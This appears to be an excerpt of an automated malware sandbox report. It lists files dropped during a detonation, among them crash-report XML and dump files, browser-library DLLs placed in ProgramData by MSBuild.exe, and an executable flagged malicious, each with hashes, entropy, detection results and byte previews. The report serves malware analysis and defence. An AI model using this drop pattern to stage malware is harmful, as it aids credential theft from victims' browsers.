Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.8.2.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4855.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4678
Entropy (8bit):	4.505776346983256
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDuJg77aI9Y7WpW8VY5Ym8M4J8ouF8+q8SNavuyfd:uIjfDkI7mK7V1J8qZavuyfd
MD5:	C98F52AF73BFCCF46F501C1984D3D3F7
SHA1:	5CD8244A5B8D603327799DF55E43DCDBEF70123B
SHA-256:	E22388717C428DB384BB19CC3BD4522A9D55EE52E56E5857B818ABEFA734254D
SHA-512:	A20861C578BBEB6C891497A66CA99AE04559083848FE42386F76688B1AFE0983973BAE5D4187C97EB48DB88488F465D9AAECC42486D5426173A346C9293D0FE7
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533315" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7917.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Oct 7 17:33:25 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	33768
Entropy (8bit):	1.7323829661064747
Encrypted:	false
SSDEEP:	96:5C7886Hxy1Ror1IvHdCwi77OKK6gHcJWvTCKPSNWIFLIzmI4GdT5hazKmPdv:/U1QIv9TOJCzrZPsGdTbDmP1
MD5:	0C5A23597E2CFC42E846230736729C4C
SHA1:	B7FD80E3D0CB28227AE465978F7EFE3EEB8E2886
SHA-256:	C802513DFDA0EDD402C5149695E106111551547351E7D0ED7D3DAC270814DC8D
SHA-512:	AEAC9E285A20759F8826A3D279EBA1E25E7C6122E52F5BB4EE34D69D7D50BE0E08A3F956785F220D6FEF8AA9284CB607BEA5332FA8EBB4A23198D00E0DE98EB7
Malicious:	false
Preview:	MDMP..a..... .......e..g........................d...........................T.......8...........T...........(....x......................................................................................................eJ..............GenuineIntel............T...........e..g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7966.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6358
Entropy (8bit):	3.727431623646467
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbpnA6fYWYoahQE/gYJ5aM4Uv89bpzsf31Dm:R6l7wVeJZA6fY95hbprv89bpzsflDm
MD5:	6AD346FBBE11A4F0353537278A71BE54
SHA1:	4740176D18AE85F6EC4109DA5643BB628727AB24
SHA-256:	90B4507B17035E07E11000C6BB8C0D7FF89F44790B5B816C08C7EA853E74FEB8
SHA-512:	ADC680711D44891F5DB34F5AE6F317A868A908A6D10DD847ED76B3304D2537AEEE0DAB9B5DE7A076B6E9DD73DEAE610D402C02B4803F7299C480A34C5FC8F366
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.4.3.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7987.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4741
Entropy (8bit):	4.536257667222925
Encrypted:	false
SSDEEP:	48:cvIwWl8zsXJg77aI9Y7WpW8VY+5Ym8M4JOoFGX+q8QBaQt5qVd:uIjf5I7mK7VSJwbaQt5qVd
MD5:	ED556CE402A70B319298A0B7B48BC718
SHA1:	69FAD6BD0F1685E6B17E73FD72792178E5E72625
SHA-256:	432378F0DE7271C3B22388342B8F0B51C1B69A2171BB8821D94A7F65B37A2176
SHA-512:	690B3A0BC26470FB7540F047C8992942C15F1D57BAA93183177CADD72BBCAE21258719FCA11D3ABC48167CFF0FB35A7FD41BD65E660300EDEC9CD7D78ACF1338
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533316" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 45Ywq5ad5H.exe, Detection: malicious, Browse Filename: f1r6P3j3g7.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: NdSXVNeoET.exe, Detection: malicious, Browse Filename: VLSiVR4Qxs.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: gIXLkTvFeC.exe, Detection: malicious, Browse Filename: c3KH2gLNrM.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 45Ywq5ad5H.exe, Detection: malicious, Browse Filename: f1r6P3j3g7.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: NdSXVNeoET.exe, Detection: malicious, Browse Filename: VLSiVR4Qxs.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: gIXLkTvFeC.exe, Detection: malicious, Browse Filename: c3KH2gLNrM.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\userCAFIEBKKJJ.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	551424
Entropy (8bit):	7.721973998898826
Encrypted:	false
SSDEEP:	12288:h+uCLFGWTU43KHGdtHq6NtTuzz/Mo3JgC+d4S:h6FGuvjNRuzz/Moxx
MD5:	D7E53BCB525008FFC3464054F5D845B0
SHA1:	B1A99A509D1263CC96C9627CE75D622CF0FA2C13
SHA-256:	EAD35A9130D317FB0A615969E9136596EF244092BFFDD92AE05EF46E1BF63CE9
SHA-512:	79A3325DA89F973707F501B1AD1093C07824E4DA99EEEDD74289C8FB213BD5C95B92295695DC474899582451A46E79FA550A0D7C855E4E258384E905870B0652
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.9.y.WUy.WUy.WU..TTu.WU..RT..WU..STl.WU..VTz.WUy.VU!.WUilTTm.WUilSTk.WUilRT4.WU1m^Tx.WU1m.Ux.WU1mUTx.WURichy.WU................PE..L......g...............).....b......Ro.......0....@.................................u.....@.....................................(.......................................................................@............0..,............................text............................... ..`.rdata..x....0......................@..@.data...............................@....rsrc................J..............@..@.reloc...............N..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\a43486128347[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	551424
Entropy (8bit):	7.721973998898826
Encrypted:	false
SSDEEP:	12288:h+uCLFGWTU43KHGdtHq6NtTuzz/Mo3JgC+d4S:h6FGuvjNRuzz/Moxx
MD5:	D7E53BCB525008FFC3464054F5D845B0
SHA1:	B1A99A509D1263CC96C9627CE75D622CF0FA2C13
SHA-256:	EAD35A9130D317FB0A615969E9136596EF244092BFFDD92AE05EF46E1BF63CE9
SHA-512:	79A3325DA89F973707F501B1AD1093C07824E4DA99EEEDD74289C8FB213BD5C95B92295695DC474899582451A46E79FA550A0D7C855E4E258384E905870B0652
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.9.y.WUy.WUy.WU..TTu.WU..RT..WU..STl.WU..VTz.WUy.VU!.WUilTTm.WUilSTk.WUilRT4.WU1m^Tx.WU1m.Ux.WU1mUTx.WURichy.WU................PE..L......g...............).....b......Ro.......0....@.................................u.....@.....................................(.......................................................................@............0..,............................text............................... ..`.rdata..x....0......................@..@.data...............................@....rsrc................J..............@..@.reloc...............N..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

